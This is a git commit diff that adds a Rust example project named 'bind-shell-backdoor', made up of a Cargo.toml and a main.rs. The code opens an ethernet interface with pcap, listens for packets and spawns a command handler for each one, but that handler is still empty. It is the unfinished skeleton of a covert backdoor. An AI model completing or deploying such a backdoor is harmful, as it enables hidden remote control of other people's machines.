feat: added a pcap listener to parse commands
This commit is contained in:
12
examples/bind-shell-backdoor/Cargo.toml
Normal file
12
examples/bind-shell-backdoor/Cargo.toml
Normal file
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "bind-shell-backdoor"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] }
|
||||
pcap-sys = { path = "../../pcap-sys" }
|
||||
anyhow = "1.0.70"
|
||||
tokio-stream = "0.1.14"
|
||||
61
examples/bind-shell-backdoor/src/main.rs
Normal file
61
examples/bind-shell-backdoor/src/main.rs
Normal file
@@ -0,0 +1,61 @@
|
||||
use tokio::{self, sync::mpsc};
|
||||
use tokio_stream::StreamExt;
|
||||
use pcap_sys::{self, packets::EthernetPacket};
|
||||
use anyhow::{anyhow, bail};
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
||||
|
||||
let interface_name = interfaces
|
||||
.find(|eth| eth.starts_with("eth"))
|
||||
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
||||
|
||||
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
||||
|
||||
interface.set_buffer_size(8192)?;
|
||||
interface.set_non_blocking(true)?;
|
||||
interface.set_promisc(false)?;
|
||||
interface.set_timeout(10)?;
|
||||
|
||||
let interface = interface.activate()?;
|
||||
|
||||
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
||||
bail!("interface does not support ethernet")
|
||||
}
|
||||
|
||||
enum EventType {
|
||||
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
||||
Send(EthernetPacket)
|
||||
}
|
||||
|
||||
let mut packets = interface.stream()?;
|
||||
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
||||
|
||||
while let Some(evt) = tokio::select! {
|
||||
v = packets.next() => v.map(EventType::Packet),
|
||||
v = packets_to_send.recv() => v.map(EventType::Send)
|
||||
} {
|
||||
match evt {
|
||||
EventType::Packet(pkt) => {
|
||||
if let Ok(pkt) = pkt {
|
||||
tokio::spawn(handle_command(pkt, packet_sender.clone()));
|
||||
}
|
||||
}
|
||||
EventType::Send(pkt) => {
|
||||
packets.sendpacket(pkt.pkt())?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_command(
|
||||
command: EthernetPacket,
|
||||
send_response: mpsc::Sender<EthernetPacket>
|
||||
) -> anyhow::Result<()> {
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user